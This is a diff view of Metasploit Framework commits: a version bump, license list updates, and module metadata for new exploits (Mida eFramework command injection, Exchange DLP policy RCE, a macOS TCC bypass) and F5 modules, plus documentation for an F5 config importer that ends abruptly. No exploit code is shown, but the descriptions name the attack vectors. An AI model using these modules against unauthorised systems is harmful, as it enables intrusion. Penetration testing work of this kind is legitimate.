Compare commits
66 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 3e00adf61c | |||
| 7323447c0a | |||
| a5c30be10b | |||
| b9ead300a8 | |||
| 9a75fa681a | |||
| ef2ed891d4 | |||
| 85ef2b602e | |||
| e7628d0c24 | |||
| c2d101a06b | |||
| 4c1ce8834e | |||
| 5bda3b4b9d | |||
| da4e960eb0 | |||
| 3c8390a1c7 | |||
| 0ec97aa447 | |||
| 03e0b9098c | |||
| 3508ba23d9 | |||
| 1255c4a059 | |||
| 0f0d6a233b | |||
| eb49949639 | |||
| 24d1d37a93 | |||
| 3728df544e | |||
| 14b233f957 | |||
| 4918ecf826 | |||
| e118ff1509 | |||
| 08fbce5220 | |||
| a946bdb67c | |||
| 6e64d74a56 | |||
| cada3cdf52 | |||
| 53fd5c9d14 | |||
| 1ce860a371 | |||
| 5ba3301d16 | |||
| 67dbb34769 | |||
| e11840c2a5 | |||
| daa10ea735 | |||
| 61fd7334b7 | |||
| 38700737aa | |||
| 3f689ccae9 | |||
| f248f20b9e | |||
| febe38e1ce | |||
| b3d386bdb4 | |||
| 93cdba483d | |||
| 9101b4fba6 | |||
| 905fb73b7a | |||
| a9197c482f | |||
| bb5bc942ab | |||
| df7483af6c | |||
| 686ef94e37 | |||
| c725a713af | |||
| d447bbc3dc | |||
| 42d70bb2a2 | |||
| f5717e2a17 | |||
| 9d33ebd54a | |||
| 537be9054d | |||
| 4ba3c95e8a | |||
| f26133bef0 | |||
| 736511f930 | |||
| bba98d4f16 | |||
| 4338a02bbd | |||
| 26a83d5d5c | |||
| c8a541c187 | |||
| 0a3d3074a5 | |||
| 7f63a5be06 | |||
| 55c4dcd751 | |||
| 32c3dd5071 | |||
| 6a0e4110d8 | |||
| 5e61750c89 |
+1
-1
@@ -1,7 +1,7 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (6.0.6)
|
||||
metasploit-framework (6.0.7)
|
||||
actionpack (~> 5.2.2)
|
||||
activerecord (~> 5.2.2)
|
||||
activesupport (~> 5.2.2)
|
||||
|
||||
+2
-2
@@ -24,7 +24,7 @@ bindata, 2.4.8, ruby
|
||||
bit-struct, 0.16, ruby
|
||||
bson, 4.10.0, "Apache 2.0"
|
||||
builder, 3.2.4, MIT
|
||||
bundler, 1.17.2, MIT
|
||||
bundler, 1.17.3, MIT
|
||||
byebug, 11.1.3, "Simplified BSD"
|
||||
coderay, 1.1.3, MIT
|
||||
concurrent-ruby, 1.0.5, MIT
|
||||
@@ -60,7 +60,7 @@ memory_profiler, 0.9.14, MIT
|
||||
metasm, 1.0.4, LGPL-2.1
|
||||
metasploit-concern, 3.0.0, "New BSD"
|
||||
metasploit-credential, 4.0.2, "New BSD"
|
||||
metasploit-framework, 6.0.6, "New BSD"
|
||||
metasploit-framework, 6.0.7, "New BSD"
|
||||
metasploit-model, 3.0.0, "New BSD"
|
||||
metasploit-payloads, 2.0.12, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 4.0.2, "New BSD"
|
||||
|
||||
@@ -5616,7 +5616,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2020-08-19 07:46:55 +0000",
|
||||
"mod_time": "2020-09-14 18:38:58 +0000",
|
||||
"path": "/modules/auxiliary/admin/networking/brocade_config.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/networking/brocade_config",
|
||||
@@ -5702,7 +5702,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2020-08-19 07:46:55 +0000",
|
||||
"mod_time": "2020-09-14 18:38:58 +0000",
|
||||
"path": "/modules/auxiliary/admin/networking/cisco_config.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/networking/cisco_config",
|
||||
@@ -5852,6 +5852,43 @@
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_admin/networking/f5_config": {
|
||||
"name": "F5 Configuration Importer",
|
||||
"fullname": "auxiliary/admin/networking/f5_config",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"h00die"
|
||||
],
|
||||
"description": "This module imports an F5 device configuration.",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 22,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2020-08-25 16:17:37 +0000",
|
||||
"path": "/modules/auxiliary/admin/networking/f5_config.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/networking/f5_config",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_admin/networking/juniper_config": {
|
||||
"name": "Juniper Configuration Importer",
|
||||
"fullname": "auxiliary/admin/networking/juniper_config",
|
||||
@@ -5878,7 +5915,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2020-08-19 07:46:55 +0000",
|
||||
"mod_time": "2020-09-14 18:38:58 +0000",
|
||||
"path": "/modules/auxiliary/admin/networking/juniper_config.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/networking/juniper_config",
|
||||
@@ -57300,6 +57337,69 @@
|
||||
},
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_linux/http/mida_solutions_eframework_ajaxreq_rce": {
|
||||
"name": "Mida Solutions eFramework ajaxreq.php Command Injection",
|
||||
"fullname": "exploit/linux/http/mida_solutions_eframework_ajaxreq_rce",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2020-07-24",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"elbae",
|
||||
"bcoles <bcoles@gmail.com>"
|
||||
],
|
||||
"description": "This module exploits a command injection vulnerability in Mida\n Solutions eFramework version 2.9.0 and prior.\n\n The `ajaxreq.php` file allows unauthenticated users to inject\n arbitrary commands in the `PARAM` parameter to be executed as\n the apache user. The sudo configuration permits the apache user\n to execute any command as root without providing a password,\n resulting in privileged command execution as root.\n\n This module has been successfully tested on Mida Solutions\n eFramework-C7-2.9.0 virtual appliance.",
|
||||
"references": [
|
||||
"CVE-2020-15920",
|
||||
"EDB-48768",
|
||||
"URL-https://elbae.github.io/jekyll/update/2020/07/14/vulns-01.html"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 443,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Linux (x86)",
|
||||
"Linux (x64)",
|
||||
"UNIX (cmd)"
|
||||
],
|
||||
"mod_time": "2020-09-11 17:16:10 +0000",
|
||||
"path": "/modules/exploits/linux/http/mida_solutions_eframework_ajaxreq_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/mida_solutions_eframework_ajaxreq_rce",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk",
|
||||
"ioc-in-logs"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
]
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/multi_ncc_ping_exec": {
|
||||
"name": "D-Link/TRENDnet NCC Service Command Injection",
|
||||
"fullname": "exploit/linux/http/multi_ncc_ping_exec",
|
||||
@@ -124068,6 +124168,72 @@
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_windows/http/exchange_ecp_dlp_policy": {
|
||||
"name": "Microsoft Exchange Server DlpUtils AddTenantDlpPolicy RCE",
|
||||
"fullname": "exploit/windows/http/exchange_ecp_dlp_policy",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2020-09-08",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"mr_me",
|
||||
"wvu <wvu@metasploit.com>"
|
||||
],
|
||||
"description": "This vulnerability allows remote attackers to execute arbitrary code\n on affected installations of Exchange Server. Authentication is\n required to exploit this vulnerability. Additionally, the target user\n must have the \"Data Loss Prevention\" role assigned and an active\n mailbox.\n\n If the user is in the \"Compliance Management\" or greater \"Organization\n Management\" role groups, then they have the \"Data Loss Prevention\"\n role. Since the user who installed Exchange is in the \"Organization\n Management\" role group, they transitively have the \"Data Loss\n Prevention\" role.\n\n The specific flaw exists within the processing of the New-DlpPolicy\n cmdlet. The issue results from the lack of proper validation of\n user-supplied template data when creating a DLP policy. An attacker\n can leverage this vulnerability to execute code in the context of\n SYSTEM.\n\n Tested against Exchange Server 2016 CU14 on Windows Server 2016.",
|
||||
"references": [
|
||||
"CVE-2020-16875",
|
||||
"URL-https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16875",
|
||||
"URL-https://support.microsoft.com/en-us/help/4577352/security-update-for-exchange-server-2019-and-2016",
|
||||
"URL-https://srcincite.io/advisories/src-2020-0019/",
|
||||
"URL-https://srcincite.io/pocs/cve-2020-16875.py.txt",
|
||||
"URL-https://srcincite.io/pocs/cve-2020-16875.ps1.txt"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86, x64",
|
||||
"rport": 443,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Exchange Server 2016 and 2019 w/o KB4577352"
|
||||
],
|
||||
"mod_time": "2020-09-16 13:24:18 +0000",
|
||||
"path": "/modules/exploits/windows/http/exchange_ecp_dlp_policy.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/http/exchange_ecp_dlp_policy",
|
||||
"check": true,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs",
|
||||
"account-lockouts",
|
||||
"config-changes",
|
||||
"artifacts-on-disk"
|
||||
]
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_windows/http/exchange_ecp_viewstate": {
|
||||
"name": "Exchange Control Panel ViewState Deserialization",
|
||||
"fullname": "exploit/windows/http/exchange_ecp_viewstate",
|
||||
@@ -173318,6 +173484,39 @@
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"post_networking/gather/enum_f5": {
|
||||
"name": "F5 Gather Device General Information",
|
||||
"fullname": "post/networking/gather/enum_f5",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "post",
|
||||
"author": [
|
||||
"h00die"
|
||||
],
|
||||
"description": "This module collects a F5's device information and configuration.",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-12 10:07:23 +0000",
|
||||
"path": "/modules/post/networking/gather/enum_f5.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "networking/gather/enum_f5",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"post_networking/gather/enum_juniper": {
|
||||
"name": "Juniper Gather Device General Information",
|
||||
"fullname": "post/networking/gather/enum_juniper",
|
||||
@@ -173483,6 +173682,46 @@
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"post_osx/escalate/tccbypass": {
|
||||
"name": "Bypass the macOS TCC Framework",
|
||||
"fullname": "post/osx/escalate/tccbypass",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "post",
|
||||
"author": [
|
||||
"mattshockl",
|
||||
"timwr"
|
||||
],
|
||||
"description": "This module exploits a vulnerability in the TCC daemon on macOS Catalina\n (<= 10.15.5) in order to grant TCC entitlements. The TCC daemon can be\n manipulated (by setting the HOME environment variable) to use a new user\n controlled location as the TCC database. We can then grant ourselves\n entitlements by inserting them into this new database.",
|
||||
"references": [
|
||||
"CVE-2020-9934",
|
||||
"URL-https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8",
|
||||
"URL-https://github.com/mattshockl/CVE-2020-9934"
|
||||
],
|
||||
"platform": "OSX",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-11 15:07:52 +0000",
|
||||
"path": "/modules/post/osx/escalate/tccbypass.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "osx/escalate/tccbypass",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk",
|
||||
"screen-effects"
|
||||
]
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"post_osx/gather/apfs_encrypted_volume_passwd": {
|
||||
"name": "Mac OS X APFS Encrypted Volume Password Disclosure",
|
||||
"fullname": "post/osx/gather/apfs_encrypted_volume_passwd",
|
||||
@@ -177244,6 +177483,39 @@
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"post_windows/gather/enum_hyperv_vms": {
|
||||
"name": "Windows Hyper-V VM Enumeration",
|
||||
"fullname": "post/windows/gather/enum_hyperv_vms",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "post",
|
||||
"author": [
|
||||
"gwillcox-r7"
|
||||
],
|
||||
"description": "This module will check if the target machine is a Hyper-V host and, if it is, will return a list of all\n of the VMs running on the host, as well as stats such as their state, version, CPU Usage, uptime, and status.",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-16 16:02:54 +0000",
|
||||
"path": "/modules/post/windows/gather/enum_hyperv_vms.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/enum_hyperv_vms",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"post_windows/gather/enum_ie": {
|
||||
"name": "Windows Gather Internet Explorer User Data Enumeration",
|
||||
"fullname": "post/windows/gather/enum_ie",
|
||||
|
||||
@@ -0,0 +1,525 @@
|
||||
## Vulnerable Application
|
||||
|
||||
### General Notes
|
||||
|
||||
This module imports an F5 configuration file into the database.
|
||||
This is similar to `post/networking/gather/enum_f5` only access isn't required,
|
||||
and assumes you already have the file.
|
||||
|
||||
### Example Config
|
||||
|
||||
```
|
||||
#TMSH-VERSION: 15.1.0.2
|
||||
|
||||
cm cert /Common/dtca-bundle.crt {
|
||||
cache-path /config/filestore/files_d/Common_d/trust_certificate_d/:Common:dtca-bundle.crt_62970_3
|
||||
checksum SHA1:1310:d1e052507e0ec1a274848374ff904ae8548d7dd2
|
||||
revision 3
|
||||
}
|
||||
cm cert /Common/dtca.crt {
|
||||
cache-path /config/filestore/files_d/Common_d/trust_certificate_d/:Common:dtca.crt_62966_3
|
||||
checksum SHA1:1310:d1e052507e0ec1a274848374ff904ae8548d7dd2
|
||||
revision 3
|
||||
}
|
||||
cm cert /Common/dtdi.crt {
|
||||
cache-path /config/filestore/files_d/Common_d/trust_certificate_d/:Common:dtdi.crt_62962_3
|
||||
checksum SHA1:1285:0f4ddae3808474c70911f43725c7cfdb46aa4430
|
||||
revision 3
|
||||
}
|
||||
cm device /Common/f5bigip.home.com {
|
||||
active-modules { "BIG-IP, VE Trial|VTFLRXF-LFSIQYY|Rate Shaping|External Interface and Network HSM, VE|SDN Services, VE|SSL, Forward Proxy, VE|BIG-IP VE, Multicast Routing|APM, Limited|SSL, VE|DNS (1K QPS), VE|Routing Bundle, VE|ASM, VE|Crytpo Offload, VE, Tier 1 (25M - 200M)|Max Compression, VE|AFM, VE|DNSSEC|Anti-Virus Checks|Base Endpoint Security Checks|Firewall Checks|Network Access|Secure Virtual Keyboard|APM, Web Application|Machine Certificate Checks|Protected Workspace|Remote Desktop|App Tunnel|VE, Carrier Grade NAT (AFM ONLY)|PSM, VE" }
|
||||
base-mac aa:aa:aa:aa:aa:aa
|
||||
build 0.0.9
|
||||
cert /Common/dtdi.crt
|
||||
chassis-id 564dcf79-53ce-3494-3217671849c7
|
||||
configsync-ip 10.10.10.222
|
||||
edition "Point Release 2"
|
||||
hostname f5bigip.home.com
|
||||
key /Common/dtdi.key
|
||||
management-ip 2.2.2.2
|
||||
marketing-name "BIG-IP Virtual Edition"
|
||||
platform-id Z100
|
||||
product BIG-IP
|
||||
self-device true
|
||||
time-zone America/Los_Angeles
|
||||
version 15.1.0.2
|
||||
}
|
||||
cm device-group /Common/device_trust_group {
|
||||
auto-sync enabled
|
||||
devices {
|
||||
/Common/f5bigip.home.com { }
|
||||
}
|
||||
hidden true
|
||||
network-failover disabled
|
||||
}
|
||||
cm device-group /Common/gtm {
|
||||
devices {
|
||||
/Common/f5bigip.home.com { }
|
||||
}
|
||||
hidden true
|
||||
network-failover disabled
|
||||
}
|
||||
cm key /Common/dtca.key {
|
||||
cache-path /config/filestore/files_d/Common_d/trust_certificate_key_d/:Common:dtca.key_62968_3
|
||||
checksum SHA1:1704:f274958ad619b0c70d8ccc4f7c5ae199061464e6
|
||||
revision 3
|
||||
}
|
||||
cm key /Common/dtdi.key {
|
||||
cache-path /config/filestore/files_d/Common_d/trust_certificate_key_d/:Common:dtdi.key_62964_3
|
||||
checksum SHA1:1704:97eeb5aedee76b3c21e6d735604a092e830ef6c2
|
||||
revision 3
|
||||
}
|
||||
cm traffic-group /Common/traffic-group-1 {
|
||||
unit-id 1
|
||||
}
|
||||
cm traffic-group /Common/traffic-group-local-only { }
|
||||
cm trust-domain /Common/Root {
|
||||
ca-cert /Common/dtca.crt
|
||||
ca-cert-bundle /Common/dtca-bundle.crt
|
||||
ca-devices { /Common/f5bigip.home.com }
|
||||
ca-key /Common/dtca.key
|
||||
guid fe0ee274-0355-4940-acc7000c291849c7
|
||||
status standalone
|
||||
trust-group /Common/device_trust_group
|
||||
}
|
||||
net interface 1.1 {
|
||||
media-fixed 10000T-FD
|
||||
}
|
||||
net interface 1.2 {
|
||||
media-fixed 10000T-FD
|
||||
}
|
||||
net interface 1.3 {
|
||||
media-fixed 10000T-FD
|
||||
}
|
||||
net port-list /Common/_sys_self_allow_tcp_defaults {
|
||||
ports {
|
||||
22 { }
|
||||
53 { }
|
||||
161 { }
|
||||
443 { }
|
||||
1029-1043 { }
|
||||
4353 { }
|
||||
}
|
||||
}
|
||||
net port-list /Common/_sys_self_allow_udp_defaults {
|
||||
ports {
|
||||
53 { }
|
||||
161 { }
|
||||
520 { }
|
||||
1026 { }
|
||||
4353 { }
|
||||
}
|
||||
}
|
||||
net route-domain /Common/0 {
|
||||
id 0
|
||||
vlans {
|
||||
/Common/http-tunnel
|
||||
/Common/socks-tunnel
|
||||
/Common/internal
|
||||
}
|
||||
}
|
||||
net self /Common/10.10.10.223 {
|
||||
address 10.10.10.223/8
|
||||
allow-service {
|
||||
default
|
||||
}
|
||||
traffic-group /Common/traffic-group-1
|
||||
vlan /Common/internal
|
||||
}
|
||||
net self /Common/10.10.10.222 {
|
||||
address 10.10.10.222/8
|
||||
allow-service {
|
||||
default
|
||||
}
|
||||
traffic-group /Common/traffic-group-local-only
|
||||
vlan /Common/internal
|
||||
}
|
||||
net self-allow {
|
||||
defaults {
|
||||
igmp:0
|
||||
ospf:0
|
||||
pim:0
|
||||
tcp:161
|
||||
tcp:22
|
||||
tcp:4353
|
||||
tcp:443
|
||||
tcp:53
|
||||
udp:1026
|
||||
udp:161
|
||||
udp:4353
|
||||
udp:520
|
||||
udp:53
|
||||
}
|
||||
}
|
||||
net stp /Common/cist { }
|
||||
net vlan /Common/internal {
|
||||
tag 4094
|
||||
}
|
||||
net fdb tunnel /Common/http-tunnel { }
|
||||
net fdb tunnel /Common/socks-tunnel { }
|
||||
net fdb vlan /Common/internal { }
|
||||
net tunnels tunnel /Common/http-tunnel {
|
||||
description "Tunnel for http-explicit profile"
|
||||
profile /Common/tcp-forward
|
||||
}
|
||||
net tunnels tunnel /Common/socks-tunnel {
|
||||
description "Tunnel for socks profile"
|
||||
profile /Common/tcp-forward
|
||||
}
|
||||
security device-id attribute /Common/att01 {
|
||||
id 1
|
||||
}
|
||||
security device-id attribute /Common/att02 {
|
||||
id 2
|
||||
}
|
||||
security device-id attribute /Common/att03 {
|
||||
id 3
|
||||
}
|
||||
security device-id attribute /Common/att04 {
|
||||
id 4
|
||||
}
|
||||
security device-id attribute /Common/att05 {
|
||||
id 5
|
||||
}
|
||||
security device-id attribute /Common/att06 {
|
||||
id 6
|
||||
}
|
||||
security device-id attribute /Common/att07 {
|
||||
id 7
|
||||
}
|
||||
security device-id attribute /Common/att08 {
|
||||
id 8
|
||||
}
|
||||
security device-id attribute /Common/att09 {
|
||||
id 9
|
||||
}
|
||||
security device-id attribute /Common/att10 {
|
||||
id 10
|
||||
}
|
||||
security device-id attribute /Common/att11 {
|
||||
id 11
|
||||
}
|
||||
security device-id attribute /Common/att12 {
|
||||
id 12
|
||||
}
|
||||
security device-id attribute /Common/att13 {
|
||||
id 13
|
||||
}
|
||||
security device-id attribute /Common/att14 {
|
||||
id 14
|
||||
}
|
||||
security device-id attribute /Common/att15 {
|
||||
id 15
|
||||
}
|
||||
security device-id attribute /Common/att16 {
|
||||
id 16
|
||||
}
|
||||
security device-id attribute /Common/att17 {
|
||||
id 17
|
||||
}
|
||||
security device-id attribute /Common/att18 {
|
||||
id 18
|
||||
}
|
||||
security device-id attribute /Common/att19 {
|
||||
id 19
|
||||
}
|
||||
security device-id attribute /Common/att20 {
|
||||
id 20
|
||||
}
|
||||
security device-id attribute /Common/att21 {
|
||||
id 21
|
||||
}
|
||||
security device-id attribute /Common/att22 {
|
||||
id 22
|
||||
}
|
||||
security device-id attribute /Common/att23 {
|
||||
id 23
|
||||
}
|
||||
security device-id attribute /Common/att24 {
|
||||
id 24
|
||||
}
|
||||
security device-id attribute /Common/att25 {
|
||||
id 25
|
||||
}
|
||||
security device-id attribute /Common/att26 {
|
||||
id 26
|
||||
}
|
||||
security device-id attribute /Common/att27 {
|
||||
id 27
|
||||
}
|
||||
security device-id attribute /Common/att28 {
|
||||
id 28
|
||||
}
|
||||
security device-id attribute /Common/att29 {
|
||||
id 29
|
||||
}
|
||||
security device-id attribute /Common/att30 {
|
||||
id 30
|
||||
}
|
||||
security device-id attribute /Common/att31 {
|
||||
id 31
|
||||
}
|
||||
security device-id attribute /Common/att32 {
|
||||
id 32
|
||||
}
|
||||
security device-id attribute /Common/att33 {
|
||||
id 33
|
||||
}
|
||||
security device-id attribute /Common/att34 {
|
||||
id 34
|
||||
}
|
||||
security device-id attribute /Common/att35 {
|
||||
id 35
|
||||
}
|
||||
security device-id attribute /Common/att36 {
|
||||
id 36
|
||||
}
|
||||
security device-id attribute /Common/att37 {
|
||||
id 37
|
||||
}
|
||||
security device-id attribute /Common/att38 {
|
||||
id 38
|
||||
}
|
||||
security device-id attribute /Common/att39 {
|
||||
id 39
|
||||
}
|
||||
security firewall config-entity-id /Common/uuid_entity_id {
|
||||
entity-id 3346813779321352940
|
||||
}
|
||||
security firewall port-list /Common/_sys_self_allow_tcp_defaults {
|
||||
ports {
|
||||
22 { }
|
||||
53 { }
|
||||
161 { }
|
||||
443 { }
|
||||
1029-1043 { }
|
||||
4353 { }
|
||||
}
|
||||
}
|
||||
security firewall port-list /Common/_sys_self_allow_udp_defaults {
|
||||
ports {
|
||||
53 { }
|
||||
161 { }
|
||||
520 { }
|
||||
1026 { }
|
||||
4353 { }
|
||||
}
|
||||
}
|
||||
security firewall rule-list /Common/_sys_self_allow_all {
|
||||
rules {
|
||||
_sys_allow_all {
|
||||
action accept
|
||||
ip-protocol any
|
||||
}
|
||||
}
|
||||
}
|
||||
security firewall rule-list /Common/_sys_self_allow_defaults {
|
||||
rules {
|
||||
_sys_allow_tcp_defaults {
|
||||
action accept
|
||||
ip-protocol tcp
|
||||
destination {
|
||||
port-lists {
|
||||
/Common/_sys_self_allow_tcp_defaults
|
||||
}
|
||||
}
|
||||
}
|
||||
_sys_allow_udp_defaults {
|
||||
action accept
|
||||
ip-protocol udp
|
||||
destination {
|
||||
port-lists {
|
||||
/Common/_sys_self_allow_udp_defaults
|
||||
}
|
||||
}
|
||||
}
|
||||
_sys_allow_ospf_defaults {
|
||||
action accept
|
||||
ip-protocol ospf
|
||||
}
|
||||
_sys_allow_pim_defaults {
|
||||
action accept
|
||||
ip-protocol pim
|
||||
}
|
||||
_sys_allow_igmp_defaults {
|
||||
action accept
|
||||
ip-protocol igmp
|
||||
}
|
||||
}
|
||||
}
|
||||
security firewall rule-list /Common/_sys_self_allow_management {
|
||||
rules {
|
||||
_sys_allow_ssh {
|
||||
action accept
|
||||
ip-protocol tcp
|
||||
destination {
|
||||
ports {
|
||||
22 { }
|
||||
}
|
||||
}
|
||||
}
|
||||
_sys_allow_web {
|
||||
action accept
|
||||
ip-protocol tcp
|
||||
destination {
|
||||
ports {
|
||||
443 { }
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
security ip-intelligence policy /Common/ip-intelligence { }
|
||||
security shared-objects port-list /Common/_sys_self_allow_tcp_defaults {
|
||||
ports {
|
||||
22 { }
|
||||
53 { }
|
||||
161 { }
|
||||
443 { }
|
||||
1029-1043 { }
|
||||
4353 { }
|
||||
}
|
||||
}
|
||||
security shared-objects port-list /Common/_sys_self_allow_udp_defaults {
|
||||
ports {
|
||||
53 { }
|
||||
161 { }
|
||||
520 { }
|
||||
1026 { }
|
||||
4353 { }
|
||||
}
|
||||
}
|
||||
sys dns {
|
||||
description configured-by-dhcp
|
||||
name-servers { 192.168.2.40 9.9.9.9 }
|
||||
search { ragedomain }
|
||||
}
|
||||
sys folder / {
|
||||
device-group none
|
||||
hidden false
|
||||
inherited-devicegroup false
|
||||
inherited-traffic-group false
|
||||
traffic-group /Common/traffic-group-1
|
||||
}
|
||||
sys folder /Common {
|
||||
device-group none
|
||||
hidden false
|
||||
inherited-devicegroup true
|
||||
inherited-traffic-group true
|
||||
traffic-group /Common/traffic-group-1
|
||||
}
|
||||
sys folder /Common/Drafts {
|
||||
device-group none
|
||||
hidden false
|
||||
inherited-devicegroup true
|
||||
inherited-traffic-group true
|
||||
traffic-group /Common/traffic-group-1
|
||||
}
|
||||
sys global-settings {
|
||||
hostname f5bigip.home.com
|
||||
}
|
||||
sys management-dhcp /Common/sys-mgmt-dhcp-config {
|
||||
request-options { subnet-mask broadcast-address routers domain-name domain-name-servers host-name ntp-servers interface-mtu }
|
||||
}
|
||||
sys provision ltm {
|
||||
level nominal
|
||||
}
|
||||
sys snmp {
|
||||
agent-addresses { tcp6:161 udp6:161 }
|
||||
communities {
|
||||
/Common/comm-public {
|
||||
community-name public
|
||||
source default
|
||||
}
|
||||
}
|
||||
disk-monitors {
|
||||
/Common/root {
|
||||
minspace 2000
|
||||
path /
|
||||
}
|
||||
/Common/var {
|
||||
minspace 10000
|
||||
path /var
|
||||
}
|
||||
}
|
||||
process-monitors {
|
||||
/Common/bigd {
|
||||
max-processes infinity
|
||||
process bigd
|
||||
}
|
||||
/Common/chmand {
|
||||
process chmand
|
||||
}
|
||||
/Common/httpd {
|
||||
max-processes infinity
|
||||
process httpd
|
||||
}
|
||||
/Common/mcpd {
|
||||
process mcpd
|
||||
}
|
||||
/Common/sod {
|
||||
process sod
|
||||
}
|
||||
/Common/tmm {
|
||||
max-processes infinity
|
||||
process tmm
|
||||
}
|
||||
}
|
||||
}
|
||||
sys dynad settings {
|
||||
development-mode false
|
||||
}
|
||||
sys fpga firmware-config {
|
||||
type standard-balanced-fpga
|
||||
}
|
||||
sys sflow global-settings http { }
|
||||
sys sflow global-settings vlan { }
|
||||
sys turboflex profile-config {
|
||||
type turboflex-adc
|
||||
}
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Have an F5 configuration file
|
||||
2. Start `msfconsole`
|
||||
3. `use auxiliary/admin/networking/f5_config`
|
||||
4. `set RHOST x.x.x.x`
|
||||
5. `set CONFIG /tmp/file.config`
|
||||
6. `run`
|
||||
|
||||
## Options
|
||||
|
||||
### RHOST
|
||||
|
||||
Needed for setting services and items to. This is relatively arbitrary.
|
||||
|
||||
### CONFIG
|
||||
|
||||
File path to the configuration file.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### F5 Big-IP 15.1.0.2 (virtual on ESXi)
|
||||
|
||||
```
|
||||
resource (f5.rb)> use auxiliary/admin/networking/f5_config
|
||||
